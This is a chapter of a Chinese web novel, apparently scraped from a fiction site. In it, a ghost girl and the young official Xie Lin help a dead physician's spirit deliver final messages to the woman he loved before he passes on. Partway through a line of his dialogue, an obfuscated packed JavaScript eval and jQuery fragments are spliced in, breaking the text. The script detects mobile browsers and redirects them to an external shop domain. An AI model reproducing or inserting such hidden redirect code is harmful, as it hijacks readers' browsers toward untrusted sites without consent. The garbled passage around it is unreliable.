文趣网 > 其他小说 > 本姑娘有心愿未了 > 16.第 16 章
    乱树林里,亮起了几盏暖灯。

    阿珠领着一行人往深出走,风灯在她操控下,凭空飘飞在人头顶,照亮了四野的路。除了被惊骇后,脸色略略有些惨白的宋闻风,其余人都对阿珠的存在很淡定。

    消失许久的白衣书生人偶,从矮树丛中探头,窸窣几下爬出来。

    “你知道哑巴小鬼,就是牧寒大夫的鬼魂在哪里?对不对?”

    小纸人点头,带他们往另一条小路走,不是通往牧寒坟茔的方向,是另一边,看起来正是她上次被撞得眼冒金星的野坟包的方向。

    阿珠吸了吸鼻子,眼泪啪嗒一声,又掉在了谢临肩头。

    ——她脱离平安巷已十二时辰了,魂体又有了变淡迹象,谢临怕她飘散,叫她依附在背上方便随时吸一口阳气,有些无奈,“怎地还没哭完?”吴巧巧都平复情绪了。

    没什么重量的女鬼沉默了片刻。

    “谢临,你说会有人像南城街坊,像巧娘、张大夫这些人记住牧寒一样,记住我吗?”

    “会。”

    “你连我生前是谁都不知道,你就乱答。”

    “你不是阿珠吗?”

    谢临走在影影绰绰的乱树林里,轻描淡写道:“我记住了,不会忘的。”

    阿珠略感安慰,卷起清风吹干自己的脸蛋。

    白衣书生人偶果真把他们领到了野坟包前。

    穿陈旧布衫的小小鬼蹲在那里,蜷缩起来还没个竹箩筐大,他侧头奇怪地纸人偶,继而看向了他们。

    阿珠遥遥问:“你是牧寒吗?”

    哑巴小鬼一愣,站起来激动地点头,在看清楚阿珠和谢临身后的几人后,僵在了原地。他的目光扫过吴巧巧、宋闻风,继而一瞬不错地,落在了唐知雁面上。

    “谢临,牧寒大夫为何不会说话了,还变回了小孩儿的模样?”

    “滞留在阳间时间太久了。本该投胎往生的鬼魂,本身不是有强烈怨念,没有修旁门左道,随着时日渐长,凝聚魂体所耗费的就愈多,久而久之,有的鬼就只能变回幼年模样,否则会魂飞魄散。”

    谢临找了一块还算干净的空地。

    阔袖里揣的三足小银炉摆下来,将安魂香点燃了,“这香有帮助魂魄凝聚的功效,姑且一试。”

    分量是平日里三倍的安魂香燃气了。

    阿珠目不转睛地看,只见袅袅升腾而起的烟雾里,瘦骨嶙峋的小鬼好像被时光仙术浇灌,以肉眼可见的速度抽条长大,稚气的五官线条变得有棱有角,眨眼之间,就变成了个二十出头的青年人。

    同阿珠想象里,温润如玉的文弱大夫不一样。

    成年的牧寒生得精瘦,皮肤比宋闻风深色许多,眉毛眼角带了微微向上扬的锐气,有几分军中人的气质。他当小小鬼时,记忆跟着颠倒,胆怯如惊弓之鸟,恢复原貌后,便有了几分众人交口称赞的冷清沉稳。

    “牧寒大夫,你现在能说话了吗?”

    “嗯。”

    青年大夫舒展了手臂与长腿,像是第一次认识自己的躯体,轻轻一哂,“也没人跟我说过,死了变鬼会那么倒霉,还要慢慢变回小时候那样。”

    乱树林里四个人,三双眼睛都不见鬼。

    唐知雁凝望着香炉,吴巧巧紧张地扫视野坟包周围,宋闻风直愣愣盯着谢临看,好像等着他被什么附体。

    没一个人看对了地方,没一个人看见他。

    牧寒无声取笑故人,转向了阿珠与谢临两张新面孔,“二位是谁?如何带他们寻到了这里来?”

    他这话没有疑问的语气,仿佛已期待这一日许久了。

    “我们是唐姑娘的友人和……友鬼。”

    阿珠从谢临肩膀上探出脑袋,“唐姑娘来了京城,得知你的死讯,过去却一直收到信件,托我们来弄清楚。”

    “早该如此。”

    牧寒叹息一声,事情需得有回到正轨的一日。

    早在吴巧巧带着她连蒙带猜的“绝笔信”来时,他就想纠正,他想对唐知雁最后说的,到底是什么。

    但人活在世间,欲壑难填,当了鬼也不能免俗。

    吴巧巧带来了延州的回信,一封,两封,以及更多。

    牧寒看着,听着,起了不该有的执念,直到陈汉卿和张木兰夫妻有一次来祭拜。

    陈汉卿这个碎嘴子絮絮叨叨说了很多事,说巧娘白日在医馆帮工,打盹儿把药烧糊了,药房都差点儿烧起来,说巧娘托村头私塾的先生,买了很多纸笔,闲来无事就在练字……

    有什么出错了。

    他与唐知雁的书信,不该由巧娘来维系。

    但他的魂魄随着弥留人世间愈久,变得时而恍惚,时而如孩童懵懂,再想阻止,已是有心无力。

    牧寒静静看着比印象里,出落得更明艳动人的唐知雁。

    女郎落落大方,整个人都沐浴在今夜分外清幽的月光中。

    “你看不见也好,我如今这个模样,大概很寒碜。”

    少时分别过后,他与她不是没机会再见。

    唐知雁父兄与祖父,每隔两年,就要回京述职,她便会随亲人归京,但两人都默契选择了暂停书信,也并没有约见。他不能独揽明月,明月亦不能独照他,有幸相伴过一段,已是很好。

    “劳烦你们替我告诉她,济世堂我厢房的床底下,有一个医箱,是给她准备的,里头是一些外伤用药,西北的气候干燥,还有一些润面膏子。我本来打算托熟悉的商队带去西北,时疫先爆发了,没来得及交出去。”

    “最后一点念想,就这么简单,那时病得糊涂,偏偏漏了这桩。”

    牧寒说完,由安神香凝聚起来的魂魄,变得稀薄浅淡了许多,“我愧对师父教导之恩,但不后悔这个选择,等师父百年以后,若能再聚首,我会向他请罪。”

    告别理应是双方的,谢临看向了乱树林中三人。

    “诸位有话,不妨就在此说,他能够听见。”

    他拾起一块石子,落在了牧寒脚下,让三人视线终于有了确切的落点。

    唐知雁最先开了口:“谢公子,他临终前的心愿,了了吗?”

    谢临颔首,“很简单就能办到。”察觉到吴巧巧彷徨的目光,他轻声解释:“不是继续往延州写信。”

    唐知雁抬起眼,看向那块石子,石子周边除了月光和荒土,什么也没有。

    “还有事想做吗?牧寒。”

    “他说,没有了。”

    唐知雁笑起来,轻轻往前踏了一步,将绣鞋尖停在了那块石头前,明湛的丹凤眼映了一层很浅淡的水光,她努力仰起脸庞,“没有就很好。”

    宋闻风想不到自己要说什么,亦不知自己为何要跟来,茫然之中,又把眸光投向了谢临。

    谢临仿佛听见了什么,眉梢抬了抬,“他请宋大夫继续精进医术,莫要钻了牛角尖。”

    “谁钻牛角尖?”

    宋闻风咬牙,别过了脸,又听见谢临道:“他说,宋大夫还有几十年好活,医术超过我,是迟早的事。”

    宋闻风一愣。

    吴巧巧已泣不成声。

    阿珠干脆吹灭了她旁边的灯笼,让她在昏暗月光中,哭得更痛快一些。

    轻轻的,柔柔的微风拂过了头顶,这一次不是阿珠了,是牧寒。

    他像个兄长一样,拍了拍她的头,“劳烦公子替我转达,下一次写信,以她自己的名义,写完烧给我吧,没准地府的鬼魂都得排着队,我还能看到一封半封。”

    每一句告别,都让他的魂魄浅淡一分,像是六月清晨的林雾。

    “对了。”

    牧寒瞥眼,去看那个野坟包,“这里头埋了个酒鬼,贪得很,平日里南城街坊给我烧的那点吃的喝的,全叫他给霸占了,我的鬼魂变小了,打也打不过。我听他口音,像是南城区老人。”

    “让宋闻风问一下,哪家有酗酒、年老糊涂、瞎了一只眼的,叫他亲属后代,或让陈汉卿来顺带祭拜,野坟包上倒一碗烧刀子,他的执念就这么多,早喝完早投胎。”

    “孤魂

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602540|204978||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    野鬼不好当,就这样。”

    他隐藏了贪恋的目光,克制着不往唐知雁面上去。

    他叫牧寒,营童出身,孤儿时无依靠,以南城居民之善心,得百家饭成人。

    机缘巧合,得入医道,勤勉承教,不敢稍懈半日,至京中大疫,入南城略尽绵力,以此躯报还桑梓。师长面冷心慈,同门友爱恭敬,倾慕之人如天上月,皎皎清辉常伴。

    此生无悔。

    青年郎中的魂魄,化作了一抹流萤碎光,九分归于天地,还剩一分,飘进了阿珠手上。

    阿珠挽起了她的袖子,腕上有一串谢临从开云观回来后给她的清心石——“一种记载在古籍里的高山玉石,《太清禁要》有云,功德厚重之人佩戴,清心石会发出微光。”

    五颗清心石珠,有一颗亮了。

    珠子在黑夜中闪着只有她和谢临能看见的微微白光。

    阿珠本来变得雾白色的手背,又恢复了往常色泽,而且感受到了一种前所未有的震颤,一跳一跳的,好像她又恢复了心跳。她将手放在胸口处,发现是错觉,鼻子发酸,眼泪又啪嗒啪嗒掉在了谢临肩头。

    谢临不徐不疾,将牧寒的所言所托一一交待。

    乱树林里的灯火,终于在拂晓之前,分别了方向。

    吴巧巧与宋闻风回青庐。

    青帷马车载着阿珠与唐知雁、谢临,重新往济世堂的方向去,路上安静无比,唯有车轮声辘辘。

    抵达之时,恰是济世堂开张。

    云生打着呵欠,困意未消,慢吞吞拉开了医馆门口的挡门,唐知雁独自下车。

    “当真不用我们陪你去找医箱吗?”

    阿珠扒在窗框边看她。

    听完了谢临转述的话后,唐知雁摇了摇头,站在金色晨曦里淡笑。

    “这个医箱,我其实翻到过的,里头没有信件,我只当作是存放备用药物的。他已有归处,剩余的,便是生者之事,我正好跟张大夫说说,叫他老人家看开一些。日头已现,阿珠姑娘还是快些去歇息吧。”

    唐知雁福身,朝着车窗一礼,“多谢阿珠姑娘,多谢谢五公子。”

    初夏扬鞭,赶着马车回平安巷。

    阿珠蹭在谢临伞下,回到了她仿佛阔别许久的屋子,感伤已平复了不少,只是脑子里仍有重重疑问。

    她的鬼魂为何没有像牧寒一样,日渐稀薄,变成小女童的样子呢?

    为何她在没有吸食安魂香之前,就能触碰到别的物体,就像变鬼的第一日,就有了一定道行?

    难得遇见同类,还没来得及多多交流当鬼的经验,牧寒就心愿化解,转世投胎去了。

    她想不明白,正要去骚扰谢临。

    西厢房里,谢临稍加休整,换上了平日去秘书省当差的那身绫罗公服,青竹色映得他眼底的黛色更深。

    “谢临,你还要去当差吗?”

    “事情已了,我提前去衙门销假。”谢临要去拿官帽,还未抬手,双翅乌纱帽真的会飞,乖巧旋飞到了他手边。他淡淡瞭了她一眼,把帽子戴正了。

    “无事献殷勤?”

    “谢临,我想换个要求。”

    “先说说。”

    互惠互利的第一个要求,让谢临帮唐知雁找到写信人,第二个要求,要谢临带她去金鼎街玩。

    阿珠记得很清楚。

    “我……我想知道我究竟是谁,把我困在平安巷的心愿,到底是什么?”

    这是个有些贪心的要求。

    她不识愁滋味的小巷生活,在看过人间真切的悲欢离合后,变得那么虚浮、琐碎,她头次萌生了对自己真实身份的强烈好奇。她眼巴巴看着谢临,操控他搁在床头的一把蒲葵扇,飘在他脸颊边,殷勤扇风。

    谢临启唇欲语,隔扇门外,传来初夏颤颤巍巍,欲哭无泪的声音。

    “公子……您就疼疼小人,别再自言自语了成么?”

    “从西山乱树林回来后,您这一句接一句的,小人脖子后头……它老是凉飕飕冒冷风哇!”